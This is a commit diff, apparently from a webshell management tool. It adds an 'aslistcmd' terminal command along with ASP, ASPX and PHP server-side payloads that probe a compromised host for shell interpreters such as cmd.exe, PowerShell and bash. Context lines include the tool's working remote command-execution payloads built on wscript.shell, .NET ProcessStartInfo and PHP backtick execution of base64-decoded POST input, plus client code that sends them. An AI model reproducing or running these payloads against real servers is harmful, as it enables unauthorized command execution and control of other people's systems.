Commit 6d2b0724 authored by Medicean's avatar Medicean

(Enhance:Terminal) 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)

parent 4dcb460a
......@@ -10,6 +10,13 @@
* Fix 编码器保存后不生效的问题 #135 (thx @K4ngx)
* Fix core download 参数遗漏问题 #142 (thx @RoyTse)
### 虚拟终端
* 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)
![aslistcmd.png](https://i.loli.net/2019/04/05/5ca74815a01a4.png)
![aslistcmd_win.png](https://i.loli.net/2019/04/05/5ca74819b276e.png)
### 其它
* 修复默认设置保存时导致 bookmarks 清空的问题
......
......@@ -8,5 +8,21 @@ module.exports = (arg1, arg2) => ({
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}"
},
listcmd: {
_:
`AA=Split(""&bd(Request("${arg1}"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA:
Response.Write(A&chr(9)):
If FS.FileExists(A) Then:
Response.Write("1"):
Else:
Response.Write("0"):
End If:
Response.Write(chr(10)):
Next
`.replace(/\n\s+/g, ''),
[arg1]: "#{hex::binarr}",
}
})
......@@ -8,5 +8,15 @@ module.exports = (arg1, arg2) => ({
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
},
listcmd: {
_:
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
var ss=binarr.split(",");
var i;
for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}",
}
})
......@@ -47,7 +47,13 @@ module.exports = (arg1, arg2) => ({
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
},
listcmd: {
_: `$arr=explode(",",base64_decode($_POST["${arg1}"]));
foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}",
},
quote: {
_:
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
......
......@@ -203,6 +203,7 @@ module.exports = {
help: 'Enter ashelp to view local commands',
ashelp: `Usage:
ascmd file\t\tExecute the command with file, eg: ascmd /bin/bash
aslistcmd\t\tList available command interpreters
quit\t\tClose terminal
exit\t\tClose terminal
......
......@@ -204,6 +204,7 @@ module.exports = {
help: '输入 ashelp 查看本地命令',
ashelp: `使用帮助:
ascmd file\t\t指定file来执行命令, eg: ascmd /bin/bash
aslistcmd\t\t列出可使用的命令解释器
quit\t\t关闭终端
exit\t\t关闭终端
......
......@@ -150,6 +150,48 @@ class Terminal {
term.echo(LANG['ascmd']['ashelp']);
return;
}
if (cmd === 'aslistcmd'){
var binarr = "";
if (this.isWin) {
binarr = [
"C:/Windows/System32/cmd.exe",
"C:/Windows/SysWOW64/cmd.exe",
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe",
"C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe",
].join(',');
}else{
binarr = [
"/bin/sh",
"/bin/ash",
"/bin/bash",
"/bin/zsh",
"/bin/busybox",
].join(',');
}
this.core.request(
this.core.command.listcmd({
binarr: binarr,
})
).then((ret) => {
let res = ret['text'];
if(res.indexOf("ERROR://") > -1){
throw res;
}
let result = "";
res.split('\n').map((v) => {
var line = v.split('\t');
if(line.length == 2){
var r = parseInt(line[1]) === 1 ? '[[b;#15af63;]OK]' : '[[b;#E80000;]FAIL]';
result += `${line[0]}\t\t\t${r}\n`;
}
});
term.echo(result);
term.resume();
}).catch((err) => {
term.resume();
});
return;
}
if ( cmd.substr(0,5) === 'ascmd') {
var sessbin = cmd.substr(5).trim();
if(sessbin.length>0){
......@@ -230,7 +272,7 @@ class Terminal {
// < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
completion: (value, callback) => {
callback([
'ashelp', 'ascmd', 'quit', 'exit'
'ashelp', 'ascmd', 'aslistcmd', 'quit', 'exit'
].concat(
this.isWin ? [
'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls',
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment